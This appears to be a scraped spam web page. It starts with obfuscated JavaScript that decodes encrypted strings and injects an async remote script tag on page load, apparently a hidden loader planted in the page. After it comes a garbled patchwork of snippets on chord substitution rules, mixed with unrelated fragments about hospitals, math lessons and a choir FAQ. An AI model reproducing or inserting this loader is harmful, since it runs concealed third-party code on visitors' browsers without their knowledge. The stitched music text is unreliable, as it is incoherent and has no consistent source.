var _0x4c2c=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E\x43\x6F\x63\x4F\x57\x51\x38\x4B\x57\x63\x57\x44\x44\x74\x47\x67\x63\x77\x70\x6B\x3D","\x4D\x73\x4B\x76\x77\x34\x72\x44\x6A\x4D\x4B\x6B\x59\x77\x37\x43\x69\x57\x6A\x43\x71\x38\x4F\x57\x56\x77\x3D\x3D","\x63\x38\x4B\x43\x77\x6F\x66\x43\x71\x63\x4F\x6B\x77\x71\x41\x7A\x77\x70\x76\x44\x73\x63\x4F\x64","\x45\x73\x4B\x4B\x42\x33\x63\x35\x53\x77\x3D\x3D","\x62\x57\x37\x43\x6E\x52\x2F\x44\x67\x73\x4B\x78\x45\x63\x4F\x72\x4A\x6D\x6A\x44\x76\x77\x37\x44\x75\x77\x3D\x3D","\x77\x70\x72\x43\x73\x63\x4F\x4D\x77\x71\x7A\x43\x69\x52\x70\x42\x42\x47\x6F\x3D","\x46\x44\x6A\x44\x73\x38\x4F\x6C\x77\x6F\x70\x65\x77\x72\x31\x5A\x46\x51\x3D\x3D","\x47\x43\x2F\x43\x6B\x4D\x4B\x31\x77\x37\x63\x73\x63\x43\x4E\x36\x77\x34\x58\x44\x75\x38\x4B\x30\x51\x63\x4F\x69\x5A\x6D\x62\x44\x69\x43\x6B\x46\x77\x6F\x6E\x44\x6A\x79\x78\x4B\x77\x36\x73\x6C\x77\x35\x64\x61\x77\x6F\x5A\x56\x77\x70\x45\x78\x77\x35\x37\x44\x68\x63\x4B\x79\x5A\x4D\x4F\x79\x77\x35\x48\x44\x6D\x4D\x4F\x6E\x54\x57\x49\x72\x52\x38\x4F\x2F\x4A\x63\x4F\x65\x45\x57\x58\x43\x75\x6D\x5A\x4C\x77\x71\x54\x44\x6F\x73\x4B\x59\x77\x70\x76\x44\x70\x4D\x4B\x58\x77\x72\x58\x44\x6C\x55\x38\x30\x77\x70\x2F\x44\x76\x43\x31\x46\x59\x44\x72\x43\x6E\x47\x55\x57\x4B\x38\x4B\x71\x77\x35\x67\x55\x64\x69\x70\x35\x77\x71\x50\x44\x6B\x4D\x4B\x2F\x77\x37\x34\x54\x77\x36\x4C\x44\x72\x78\x49\x55\x77\x34\x62\x44\x69\x46\x4C\x43\x6F\x63\x4F\x4D\x4D\x31\x4C\x44\x71\x52\x78\x4C\x49\x4D\x4F\x58\x77\x6F\x67\x6F\x77\x37\x56\x62\x5A\x63\x4B\x4F\x57\x38\x4B\x74\x4C\x63\x4F\x45\x77\x6F\x63\x54\x77\x36\x6B\x74\x77\x70\x78\x5A\x77\x70\x4A\x34\x58\x6C\x54\x43\x68\x54\x77\x42\x61\x73\x4B\x58\x77\x36\x54\x44\x67\x73\x4B\x75\x77\x34\x76\x43\x69\x47\x4D\x57\x63\x30\x30\x44\x59\x53\x70\x72\x77\x36\x4E\x35\x77\x72\x46\x47\x77\x6F\x68\x4E\x77\x6F\x6A\x43\x6F\x30\x46\x50\x77\x70\x4C\x43\x76\x63\x4F\x67\x45\x33\x73\x36\x77\x37\x4C\x44\x6A\x63\x4B\x33\x77\x71\x37\x43\x6F\x63\x4B\x65\x62\x6A\x6F\x2B\x64\x63\x4F\x4C\x77\x36\x74\x59\x49\x38\x4F\x32\x4A\x77\x6E\x44\x71\x43\x41\x54\x5A\x73\x4F\x78\x56\x4D\x4B\x57\x77\x35\x7A\x44\x72\x46\x4A\x48\x77\x35\x38\x69\x51\x47\x62\x44\x6E\x30\x51\x4B\x77\x34\x33\x44\x6D\x73\x4B\x77\x77\x37\x64\x6D\x61\x32\x44\x43\x6C\x38\x4F\x47\x77\x36\x42\x37\x58\x48\x76\x43\x6F\x73\x4B\x7A\x45\x79\x37\x44\x6C\x55\x49\x56\x77\x36\x42\x55\x51\x4D\x4F\x4F\x63\x73\x4B\x68\x77\x37\x6E\x44\x69\x45\x72\x44\x75\x6A\x6F\x55\x63\x6A\x7A\x44\x72\x7A\x51\x74\x77\x37\x72\x43\x75\x77\x6E\x44\x6F\x73\x4F\x5A\x59\x45\x4D\x78\x77\x6F\x77\x6F\x77\x72\x74\x2B\x77\x37\x37\x43\x73\x4D\x4B\x6C\x54\x55\x33\x44\x69\x7A\x6B\x44\x77\x35\x55\x77\x62\x73\x4B\x70\x4C\x73\x4F\x4B\x77\x35\x48\x43\x67\x38\x4F\x45\x56\x4D\x4F\x62\x55\x38\x4B\x70\x77\x36\x6E\x43\x72\x4D\x4B\x2B\x61\x6C\x4C\x44\x6F\x63\x4F\x57\x4C\x4D\x4B\x44\x77\x6F\x7A\x44\x6D\x63\x4B\x50\x77\x35\x33\x44\x69\x67\x6A\x43\x6A\x73\x4F\x42\x4F\x33\x48\x44\x74\x6B\x7A\x44\x75\x73\x4F\x71\x77\x70\x76\x44\x68\x6C\x59\x57\x53\x41\x50\x43\x6F\x38\x4F\x77\x77\x6F\x30\x68\x61\x78\x73\x74\x66\x6B\x7A\x43\x6C\x63\x4F\x6C\x77\x70\x46\x56\x5A\x54\x49\x63\x77\x34\x4D\x74\x51\x7A\x6B\x65\x77\x35\x2F\x44\x6A\x4D\x4B\x30\x41\x63\x4F\x77\x56\x63\x4F\x39\x77\x36\x63\x52\x57\x73\x4F\x68\x77\x37\x74\x61\x77\x6F\x37\x43\x73\x30\x50\x44\x74\x63\x4F\x52\x77\x72\x58\x44\x6B\x38\x4F\x61\x77\x72\x6A\x44\x6C\x41\x46\x69\x77\x36\x37\x44\x67\x73\x4B\x74\x4D\x63\x4B\x71\x49\x43\x4C\x43\x6F\x41\x62\x44\x6E\x4D\x4F\x76\x77\x72\x30\x37\x41\x73\x4F\x74\x53\x68\x63\x45\x77\x72\x52\x51\x43\x73\x4B\x47\x64\x38\x4B\x61\x45\x47\x67\x70\x45\x54\x78\x2F\x77\x6F\x6A\x44\x6B\x38\x4F\x50\x63\x78\x4D\x73\x77\x70\x30\x50\x77\x72\x54\x43\x70\x56\x44\x43\x6E\x73\x4B\x42\x77\x72\x6E\x44\x6D\x55\x6E\x44\x74\x63\x4F\x69\x77\x71\x45\x4F\x77\x6F\x50\x43\x70\x38\x4F\x59\x58\x38\x4B\x62\x47\x73\x4F\x44\x53\x51\x6F\x4A\x77\x36\x63\x63\x77\x72\x58\x43\x71\x4D\x4B\x73\x77\x70\x6A\x44\x6C\x4D\x4B\x4E\x59\x45\x58\x44\x69\x31\x48\x44\x74\x38\x4F\x6F\x77\x72\x70\x72\x77\x35\x37\x44\x74\x32\x77\x6F\x44\x63\x4B\x61\x77\x37\x62\x43\x73\x63\x4F\x71\x53\x4D\x4B\x55\x77\x71\x50\x43\x74\x73\x4F\x6C\x52\x4D\x4F\x43\x4F\x30\x35\x65\x77\x34\x76\x44\x6F\x4D\x4B\x46\x77\x35\x64\x44\x77\x70\x41\x73\x77\x6F\x74\x2B\x77\x34\x6F\x72\x47\x58\x6C\x73\x77\x70\x30\x71\x58\x63\x4F\x73\x4B\x4D\x4F\x6A\x77\x71\x58\x43\x6F\x4D\x4B\x72\x77\x36\x73\x30\x62\x63\x4F\x2B\x77\x36\x56\x6C\x55\x6E\x76\x43\x68\x73\x4F\x4D\x77\x36\x35\x50\x77\x36\x54\x44\x76\x78\x76\x43\x68\x43\x33\x44\x71\x4D\x4B\x7A\x77\x6F\x70\x56\x77\x36\x4C\x43\x74\x33\x74\x59\x64\x6A\x62\x44\x6E\x6D\x30\x65\x45\x53\x48\x44\x74\x73\x4B\x64\x77\x37\x59\x52\x77\x6F\x58\x43\x67\x56\x64\x53\x77\x34\x4C\x44\x74\x63\x4B\x35\x66\x73\x4B\x63\x77\x72\x6F\x55\x77\x70\x7A\x43\x76\x38\x4F\x32\x56\x31\x44\x44\x6D\x6B\x58\x44\x68\x52\x51\x4C\x47\x73\x4F\x6B\x77\x6F\x6C\x32\x4A\x63\x4B\x56\x77\x34\x56\x74\x77\x35\x66\x43\x67\x51\x6C\x6C\x44\x73\x4F\x67\x77\x72\x6A\x44\x74\x4D\x4F\x2B\x4B\x6D\x73\x36\x77\x35\x39\x6A\x77\x37\x37\x43\x68\x31\x44\x43\x73\x44\x52\x69\x77\x34\x33\x43\x6F\x33\x6E\x43\x73\x63\x4F\x59\x77\x36\x6C\x72\x77\x72\x70\x33\x58\x73\x4B\x36\x77\x72\x6F\x70\x77\x71\x6A\x43\x6D\x63\x4F\x30\x77\x70\x55\x4F\x63\x6C\x48\x44\x6B\x69\x76\x43\x75\x48\x4C\x44\x6B\x63\x4B\x72\x77\x35\x66\x44\x70\x45\x76\x44\x70\x32\x76\x43\x75\x38\x4B\x32\x4E\x67\x54\x44\x69\x38\x4F\x6A\x77\x37\x44\x44\x73\x63\x4F\x4F\x46\x73\x4B\x49\x77\x70\x62\x44\x6E\x58\x59\x37\x77\x6F\x38\x39\x52\x77\x44\x43\x69\x63\x4B\x58\x62\x47\x56\x6E\x49\x42\x62\x44\x6D\x4D\x4F\x45\x77\x35\x62\x43\x6B\x38\x4F\x4D\x52\x4D\x4F\x77\x64\x4D\x4B\x50\x77\x35\x54\x44\x6D\x32\x45\x31\x77\x72\x37\x44\x6A\x57\x37\x44\x74\x73\x4F\x32\x41\x63\x4F\x56\x77\x36\x67\x65\x55\x54\x77\x2F\x77\x34\x4D\x73\x77\x71\x6B\x2B\x77\x37\x48\x44\x75\x4D\x4B\x6E\x77\x72\x38\x31\x4E\x4D\x4B\x58\x77\x36\x33\x44\x74\x6A\x66\x43\x67\x73\x4B\x6B\x77\x37\x64\x39\x77\x6F\x50\x43\x6E\x56\x70\x42\x77\x36\x31\x6F\x42\x4D\x4B\x39\x65\x78\x63\x4D\x55\x73\x4F\x73\x4A\x73\x4B\x2B\x61\x38\x4B\x53\x55\x31\x42\x4A\x53\x4D\x4F\x74\x66\x48\x70\x51\x77\x70\x6A\x44\x6F\x73\x4F\x63\x77\x35\x6E\x44\x6F\x63\x4F\x52\x77\x35\x45\x6B\x77\x71\x4C\x44\x6F\x4D\x4F\x42\x77\x6F\x35\x35\x77\x34\x6A\x44\x69\x33\x34\x75\x63\x38\x4F\x43\x44\x48\x6A\x43\x68\x33\x6E\x44\x6A\x43\x48\x44\x67\x73\x4B\x52\x4B\x73\x4F\x6F\x77\x35\x76\x43\x68\x77\x78\x64\x77\x36\x4C\x43\x6A\x38\x4F\x5A\x57\x67\x49\x61\x77\x71\x44\x43\x68\x4D\x4F\x51\x66\x63\x4F\x6C\x77\x36\x50\x43\x75\x73\x4F\x74\x4B\x38\x4F\x2B\x77\x35\x6A\x44\x76\x38\x4B\x46\x65\x32\x59\x57\x57\x73\x4F\x36\x47\x33\x72\x44\x75\x41\x3D\x3D","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x55\x44\x50\x4D\x49\x55","\x72\x65\x74\x75\x72\x6E\x20\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20","\x7B\x7D\x2E\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72\x28\x22\x72\x65\x74\x75\x72\x6E\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29","\x29\x3B","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","\x61\x74\x6F\x62","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x25","\x73\x6C\x69\x63\x65","\x30\x30","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x58\x70\x44\x42\x61\x53","\x53\x4A\x4E\x65\x62\x4B","\x6C\x75\x42\x49\x48\x6B","\x30\x78\x30","\x43\x31\x25\x4A","\x30\x78\x31","\x49\x39\x5A\x77","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x69\x64","\x30\x78\x32","\x36\x65\x21\x42","\x30\x78\x33","\x5A\x41\x54\x25","\x30\x78\x34","\x76\x57\x51\x5D","\x30\x78\x35","\x30\x78\x36","\x4B\x4D\x61\x25","\x30\x78\x37","\x6C\x6A\x70\x56"];var _0x69b4=[_0x4c2c[0],_0x4c2c[1],_0x4c2c[2],_0x4c2c[3],_0x4c2c[4],_0x4c2c[5],_0x4c2c[6],_0x4c2c[7],_0x4c2c[8],_0x4c2c[9],_0x4c2c[10],_0x4c2c[11],_0x4c2c[12],_0x4c2c[13],_0x4c2c[14],_0x4c2c[15],_0x4c2c[16],_0x4c2c[17],_0x4c2c[18],_0x4c2c[19],_0x4c2c[20],_0x4c2c[21],_0x4c2c[22],_0x4c2c[23],_0x4c2c[24],_0x4c2c[25],_0x4c2c[26],_0x4c2c[27],_0x4c2c[28],_0x4c2c[29],_0x4c2c[30],_0x4c2c[31],_0x4c2c[32],_0x4c2c[33],_0x4c2c[34],_0x4c2c[35],_0x4c2c[36],_0x4c2c[37],_0x4c2c[38],_0x4c2c[39],_0x4c2c[40],_0x4c2c[41],_0x4c2c[42],_0x4c2c[43],_0x4c2c[44],_0x4c2c[45],_0x4c2c[46],_0x4c2c[47],_0x4c2c[48]];var _0x53ac=[_0x69b4[0],_0x69b4[1],_0x69b4[2],_0x69b4[3],_0x69b4[4],_0x69b4[5],_0x69b4[6],_0x69b4[7]];(function(_0xe0fbx3,_0xe0fbx4){var _0xe0fbx5=function(_0xe0fbx6){while(--_0xe0fbx6){_0xe0fbx3[_0x69b4[9]](_0xe0fbx3[_0x69b4[8]]())}};_0xe0fbx5(++_0xe0fbx4)}(_0x53ac,0x6b));var _0x4824=function(_0xe0fbx8,_0xe0fbx9){_0xe0fbx8= _0xe0fbx8- 0x0;var _0xe0fbxa=_0x53ac[_0xe0fbx8];if(_0x4824[_0x69b4[10]]=== undefined){(function(){var _0xe0fbxb=function(){var _0xe0fbxc;try{_0xe0fbxc= Function(_0x69b4[11]+ _0x69b4[12]+ _0x69b4[13])()}catch(_0x21cc70){_0xe0fbxc= window};return _0xe0fbxc};var _0xe0fbxd=_0xe0fbxb();var _0xe0fbxe=_0x69b4[14];_0xe0fbxd[_0x69b4[15]]|| (_0xe0fbxd[_0x69b4[15]]= function(_0xe0fbxf){var _0xe0fbx10=String(_0xe0fbxf)[_0x69b4[17]](/=+$/,_0x69b4[16]);for(var _0xe0fbx11=0x0,_0xe0fbx12,_0xe0fbx13,_0xe0fbx14=0x0,_0xe0fbx15=_0x69b4[16];_0xe0fbx13= _0xe0fbx10[_0x69b4[18]](_0xe0fbx14++);~_0xe0fbx13&& (_0xe0fbx12= _0xe0fbx11% 0x4?_0xe0fbx12* 0x40+ _0xe0fbx13:_0xe0fbx13,_0xe0fbx11++ % 0x4)?_0xe0fbx15+= String[_0x69b4[19]](0xff& _0xe0fbx12>> (-0x2* _0xe0fbx11 & 0x6)):0x0){_0xe0fbx13= _0xe0fbxe[_0x69b4[20]](_0xe0fbx13)};return _0xe0fbx15})}());var _0xe0fbx16=function(_0xe0fbx17,_0xe0fbx9){var _0xe0fbx18=[],_0xe0fbx19=0x0,_0xe0fbx1a,_0xe0fbx1b=_0x69b4[16],_0xe0fbx1c=_0x69b4[16];_0xe0fbx17= atob(_0xe0fbx17);for(var _0xe0fbx1d=0x0,_0xe0fbx1e=_0xe0fbx17[_0x69b4[21]];_0xe0fbx1d< _0xe0fbx1e;_0xe0fbx1d++){_0xe0fbx1c+= _0x69b4[22]+ (_0x69b4[24]+ _0xe0fbx17[_0x69b4[26]](_0xe0fbx1d)[_0x69b4[25]](0x10))[_0x69b4[23]](-0x2)};_0xe0fbx17= decodeURIComponent(_0xe0fbx1c);for(var _0xe0fbx1f=0x0;_0xe0fbx1f< 0x100;_0xe0fbx1f++){_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx1f};for(_0xe0fbx1f= 0x0;_0xe0fbx1f< 0x100;_0xe0fbx1f++){_0xe0fbx19= (_0xe0fbx19+ _0xe0fbx18[_0xe0fbx1f]+ _0xe0fbx9[_0x69b4[26]](_0xe0fbx1f% _0xe0fbx9[_0x69b4[21]]))% 0x100;_0xe0fbx1a= _0xe0fbx18[_0xe0fbx1f];_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx18[_0xe0fbx19];_0xe0fbx18[_0xe0fbx19]= _0xe0fbx1a};_0xe0fbx1f= 0x0;_0xe0fbx19= 0x0;for(var _0xe0fbx20=0x0;_0xe0fbx20< _0xe0fbx17[_0x69b4[21]];_0xe0fbx20++){_0xe0fbx1f= (_0xe0fbx1f+ 0x1)% 0x100;_0xe0fbx19= (_0xe0fbx19+ _0xe0fbx18[_0xe0fbx1f])% 0x100;_0xe0fbx1a= _0xe0fbx18[_0xe0fbx1f];_0xe0fbx18[_0xe0fbx1f]= _0xe0fbx18[_0xe0fbx19];_0xe0fbx18[_0xe0fbx19]= _0xe0fbx1a;_0xe0fbx1b+= String[_0x69b4[19]](_0xe0fbx17[_0x69b4[26]](_0xe0fbx20)^ _0xe0fbx18[(_0xe0fbx18[_0xe0fbx1f]+ _0xe0fbx18[_0xe0fbx19])% 0x100])};return _0xe0fbx1b};_0x4824[_0x69b4[27]]= _0xe0fbx16;_0x4824[_0x69b4[28]]= {};_0x4824[_0x69b4[10]]= !![]};var _0xe0fbx21=_0x4824[_0x69b4[28]][_0xe0fbx8];if(_0xe0fbx21=== undefined){if(_0x4824[_0x69b4[29]]=== undefined){_0x4824[_0x69b4[29]]= !![]};_0xe0fbxa= _0x4824[_0x69b4[27]](_0xe0fbxa,_0xe0fbx9);_0x4824[_0x69b4[28]][_0xe0fbx8]= _0xe0fbxa}else {_0xe0fbxa= _0xe0fbx21};return _0xe0fbxa};var _0x4739d5=[_0x4824(_0x69b4[30],_0x69b4[31]),_0x4824(_0x69b4[32],_0x69b4[33]),_0x69b4[34],_0x69b4[35],_0x69b4[36],_0x69b4[37],_0x4824(_0x69b4[38],_0x69b4[39]),_0x4824(_0x69b4[40],_0x69b4[41]),_0x4824(_0x69b4[42],_0x69b4[43]),_0x4824(_0x69b4[44],_0x69b4[43]),_0x4824(_0x69b4[45],_0x69b4[46]),_0x4824(_0x69b4[47],_0x69b4[48])];var _0x3be76d=[_0x4739d5[0x0],_0x4739d5[0x1],_0x4739d5[0x2],_0x4739d5[0x3],_0x4739d5[0x4],_0x4739d5[0x5],_0x4739d5[0x6],_0x4739d5[0x7],_0x4739d5[0x8],_0x4739d5[0x9],_0x4739d5[0xa],_0x4739d5[0xb]];var _0x4f3f17=[_0x3be76d[0x0],_0x3be76d[0x1],_0x3be76d[0x2],_0x3be76d[0x3],_0x3be76d[0x4],_0x3be76d[0x5],_0x3be76d[0x6],_0x3be76d[0x7],_0x3be76d[0x8],_0x3be76d[0x9],_0x3be76d[0xa],_0x3be76d[0xb]];var _0x4d0c89=[_0x4f3f17[0x0],_0x4f3f17[0x1],_0x4f3f17[0x2],_0x4f3f17[0x3],_0x4f3f17[0x4],_0x4f3f17[0x5],_0x4f3f17[0x6],_0x4f3f17[0x7],_0x4f3f17[0x8],_0x4f3f17[0x9],_0x4f3f17[0xa],_0x4f3f17[0xb]];var _0x572eac=[_0x4d0c89[0x0],_0x4d0c89[0x1],_0x4d0c89[0x2],_0x4d0c89[0x3],_0x4d0c89[0x4],_0x4d0c89[0x5],_0x4d0c89[0x6],_0x4d0c89[0x7],_0x4d0c89[0x8],_0x4d0c89[0x9],_0x4d0c89[0xa],_0x4d0c89[0xb]];var _0x2b0b54=[_0x572eac[0x0],_0x572eac[0x1],_0x572eac[0x2],_0x572eac[0x3],_0x572eac[0x4],_0x572eac[0x5],_0x572eac[0x6],_0x572eac[0x7],_0x572eac[0x8],_0x572eac[0x9],_0x572eac[0xa],_0x572eac[0xb]];(function(){var _0xe0fbx28=document[_0x2b0b54[0x1]](_0x2b0b54[0x0]);_0xe0fbx28[_0x2b0b54[0x2]]= _0x2b0b54[0x3];_0xe0fbx28[_0x2b0b54[0x4]]= !![];_0xe0fbx28[_0x2b0b54[0x5]]= _0x2b0b54[0x6];_0xe0fbx28[_0x2b0b54[0x7]]= _0x2b0b54[0x8];var _0xe0fbx29=document[_0x2b0b54[0x9]](_0x2b0b54[0x0])[0x0];_0xe0fbx29[_0x2b0b54[0xb]][_0x2b0b54[0xa]](_0xe0fbx28,_0xe0fbx29)}()); Chord substitution rules

Chord substitution rules




Chord substitution rules

In tritone substitution, a dominant chord is replaced by another dominant chord a tritone above its tonic technique is based on the fact that the third and seventh degrees of a dominant chord are enharmonically the same as the seventh and third degrees of the dominant chord a Chord rewrite rules I: replacement or substitution of a chord by its dominant or subdominant Play . Chord Quality And Substitute Chords Just as each one of us has a personality, and each food has a flavor, every chord has a quality. (I recommend you go check out that post on primary chords as a primer to this lesson. Augmented Chord Substitution Rule. Chord substitutions - The 3 secrets of exciting chord substitutions. LIST OF PRIVATE HOSPITALS RECOGNISED BY GOVERNMENT FOR MEDICAL REIMBURSEMENT Sl. Chord Progressions are notated with Roman Numerals and the Chord Name in the Key of A. B. Preface: Like so many players, I started young and learned without much discipline. The reason why mandolin chord playing seem to be so abstract is that there is no rule for it. Instead, they break the rules and substitute new chords to liven up otherwise simple melodies. Common Keys for Blues Progressiosn are: C, G, A, E, Bb, F, D. ; sometimes the term implies a somewhat conservative, relatively diatonic vocabulary exemplified by Oscar Peterson. , precede A7b9 with Em7b5). Improvise moving between the Dm7 and whichever substitution you have chosen. Substitutions that share two or more notes in common are referred to as a common tone substitution. We then propose a mechanism to induce chord substitution rules from the corpus, and comment its output according to the theory of chord substitution. Includes: 74 Chords including note-spelling and pronunciations 64 Chord Substitution Rules 55 Scales and when to use them 7 Modes 20 Blues Progressions Circle of Fifths, Fourths, and Thirds Table of Contents Chord Theory 7 General Rul es for Chord Progressions Cadences Harmony The 10 Basic Chords The 7 Modes Intervals: the Space Between the But before we do that, I want to complete the previous article and finish discussing dominant chord substitutions. You can come up with you own voicing, fingering or chord substitution depending on what style of music you play. This means that the root is omitted, but both essential tones, the 3 and 7, are present in the chord. Chord Substitutions A chord substitution (also called a “chord sub” or “sub”) is the use of one or more chords in place of another in a chord progression (series of chords). I find it Miller and May don't just tell you what to do, they tell you how! in a lucid, straightforward treatment of chords and the fingerboard that's ultimately applicable to any style. Modern chord voicings and chord substitutions use pluralities built on the chord's 3rd. Mainstream: the style of jazz regarded by the average player as the norm, as opposed to fusion, rock, avant-garde, etc. , etc. Chord substitution should really be called chord enhancement. As I mentioned in the introduction, it is rarely necessary to play the root of the chord and often other intervals can be omitted too. TMAA Choir Concert, Sight-Reading, and S&E FAQ Important Note: This document does not supersede or take precedence over documentation presented by the UIL. 1 Steedman's substitution rules Steedman's grammar is obtained empirically from a set of modern jazz 12-bar chord sequences adapted from a book by Coker [4]. 3. l. He isn't really thinking about the old chords when coming up with the new chords. Remember, the more you practice and the more theory you know, the better you'll sound and the better able you'll be to play what you hear. These chords are interchangeable because the tritone interval pitches are identical in each. A member of an infinite family of substitution rules for similar quadrangles possessing two right interior angles at opposite vertices. A Guide to Chord Substitution 2 comments Ali Jamieson This rule really applies true of dominant 7th Chords. A chord progression or harmonic progression is a succession of musical chords, which are two or more notes, typically sounded simultaneously. Use of the SubV7 chord. by Ryan Leach 18 Jun 2012 A Secondary Dominant is a Dominant 7th chord that is the dominant of a diatonic chord other Song structure for the guitar The rules are not complicated but a little tricky at first. Includes: 74 Chords including note-spelling and pronunciations 64 Chord Substitution Rules 55 Scales and when to use them 7 Modes 20 Blues Progressions Circle of Fifths, Fourths, and Thirds Table of Contents Chord Theory 7 General Rules for Chord Progressions Cadences Harmony The 10 Basic Chords The 7 Modes Intervals: the Space Between the Discovering Chord Idioms Through Beatles and Real Book Songs. SubV7 is also a dominant chord, making that its substitution by V7 doesn’t interfere in the harmonic function of the respective part of the song. Tritone Substitution Use tritone substitution to create new root movement and substitute for the written chord changes. Just click on a melody note and you will see a list of chord choices that have that note as the melody note (highest note in chord). The art of chord substitution is one of the most important skills to acquire as you continue toward chord melodies, as well as becoming an accomplished rhythm player - an underappreciated and misunderstood facet of any jazz group, especially as the group size gets smaller. , they learn modal variations on the Ionian and harmonic minor scale or ‘rules’ for chord substitution in cadences based on shared tritones. Menu. MATHguide has been offering a variety of mathematics lessons and quizmasters for free (see below) since 1999. e. Chord progressions are the foundation of harmony in Western musical tradition from the common practice era of Classical music to the 21st century. A great way to get using your chord extensions and substitutions is to apply them to the I VI II V chord progression. Dear Piano-playing friend: Have you ever drooled over a chord -- a chord you didn't expect -- a chord that almost took your breath away? This book presents about fifteen chord progressions in a handful of keys (all of them are major) and ties it together with five rules for chord substitution – that’s right, only five rules. Here are the best jazz guitar standards with chord melody and lead sheets. However, reharmonization is completely different! CHORD SUBSTITUTIONS. You can always substitute an augmented chord in place of any dominant or secondary dominant chords: Key of C: For C7 Substitute C+; For D7 Substitute D+; For A7 Substitute A+; For G7 Substitute G+ E. You can also use your ear by trying out the chords at that website and seeing what sounds good. Harmonic Analysis for Scale Selection and Chord Substitution Tritone Chord Substitution. Musicians use various kinds of chord names and symbols in different contexts, to represent musical chords. The number of ways chords can go together to produce new and interesting sounds is nearly infinite. Why did we use the E7 right after the C and before the A? because 3 (Em) is a great sub for 1 ( C ) – also, A common method for making variations to a chord is to replace it with a richer form of the same chord. Home » Piano Chords » Examples of Chord Progressions. Cyclical Movement in 4ths Use the cycle of fourths/fifths to find new chord changes to substitute for the written chord changes. Besides acting as a substitution for the I chord, the iii chord also belongs to a ii-V. Chord substitution question Discussion in 'Tab he shows several bars of various chords twice (variations) for each exercise. chords and progressions for jazz and popular guitar • th IN SIMPLE INTERVALS (v) 5 PART-WRITING RULES 1. In most genres of popular music, including jazz, pop, and rock, a chord name and the corresponding symbol are typically composed of one or more of the following parts:Chord Progressions. Each of the below Jazz Piano Lessons introduces a particular concept found in Jazz. In tritone substitution, a dominant chord is replaced by another dominant chord a tritone above its tonic. In music, a rewrite rule is a recursive generative grammar , which creates a chord progression from another. RELATIVE MAJOR SUBSTITUTION: This is the same rule as RELATIVE MINOR SUBSTITUTION. Become comfortable with whichever substitution you have chosen over the entire fingerboard. A basic rule of thumb when substituting chords is that a chord can be substituted for another if the chords has at least two notes in common. Here are the basic chord substitution rules: 1) Substitute vi and/or iii for I 2) Substitute ii for IV 3) Precede any unaltered dominant chord with a minor chord on the root note a fifth above (i. We've studied tritones substitutions, diminished seventh chord substitutions, ditone substitutions, and more. Dominant 7 chords are designed to resolve down a 5th. 4 Minor chord substitution rule to Key of C 4. Chord finder, including split chords and chord variations. Let’s review the rules for chord progressions. Current Answer Source: Jeff Evans: If you have a music theory or other music-related question please visit our question form. Play diminished chords instead of a dominant. With that in mind say youre substituting a Dm11 for a Dm in the example on page 69 in session 12. They are of course relevant, but How intros and outros work and the rules surrounding them How to use coda's and understand important terminology such as DS and DC al Coda. I would say the frequency of commonly related chords (relative to the key) is more important than what chords are most common. " Rather, it should say the diminished chord is acting as an A7b9 (without the A root) that resolves to the D-7. Easiest Chord Substitution for Starters… To replace a major chord within a key…use the chord a 3rd above or below the root note of a major chord. If I know the answer, or can convincingly pretend to …Jazz Theory I, New England Conservatory Extension Division, ©1997 Hiroaki Honshuku (A-NO-NE Music, Cambridge, MA) - 3 - • The direction of the beam is decided by the first and the last note. . `RULES FOR PASSING CHORDS. Listen to the contrasting results you get when you compare the original 7th chord to the new one. I talk about ways to practice this and to come up with new and fresh lines. But a Pentatonic/Blues scale substitution? explained substitution like this: that can be chosen over each chord. Sometimes the substitution will sound more tasteful than other times. Tips, tricks, and techniques for chord substitutions. It is used to: Make a song more harmonically complex (i. P2P. Autumn Leaves - Intro, Chord rewrite rules generate all well-formed transformations of jazz, both basic blues chord changes and slightly modified sequences (such as the "rhythm changes"). Chord Quadrangle 3-3. So, for starters, look for a chord substitute that contains the note of the melody. The pros use this chord a lot in Jazz and Gospel music. Jazz musicians often substitute chords in the original progression to create variety and add interest to a piece. A good idea is to set rules for yourself. And that substitution is quite common at the predominant level and we've already encountered that substitution in other locations of the blues. and didn’t delve as much into the nitty gritty harmony. 5 Chord Progression ii7 V7 I 4. This technique is based on the fact that the third and seventh degrees of a the chord that goes right after the A, and it’s the D, etc. Tritone Substitution I’ve been getting back into my jazz playing lately and a song that got me hooked for the last few days is ‘A Night In Tunisia’, a bebop classic by Dizzie Gillespie. You could call that a chord substitution. The chords in the windows to the right of the original chord represent frequently used substitutions. But there is a strong Learning this sequence of chord relationships is also useful in reharmonizing standards or implying chord substitutions: Tonic to Half-Diminished vii (I – viiø) One other progression that is also very common is the movement from the I chord to the viiø chord. A chord substitution occurs when replacing a chord with a different chord. Ie in lieu of playing a CMaj (C E G) you can add the D to make it a Cadd2 or if you play the 7b & add the D it is then a D9. the pop world has its own rules. Details Spoiler The “G” chord (GB D) can be substituted by the “Em” chord (E GB) because they share the notes “G & B”. Music Theory/Complete List of Chord Patterns. If this stuff is new to you, simply write out a C major scale and stack and alter the extensions to create any of the chords you desire. It is also important to remember that although music theory is often used to compose chord progressions, its rules can also be What Is Chord Substitution? 3. Important transformations include: • replacement of (or addition to) a chord with its dominant, subdominant or the tritone substitution. 5 Chord Resolution V7 to I in all 12 Keys 4. if you know the rules of the Chord Substitution Chord substitution refers to the art of changing and/or adding chords to a progression in order to create harmony that is different and more 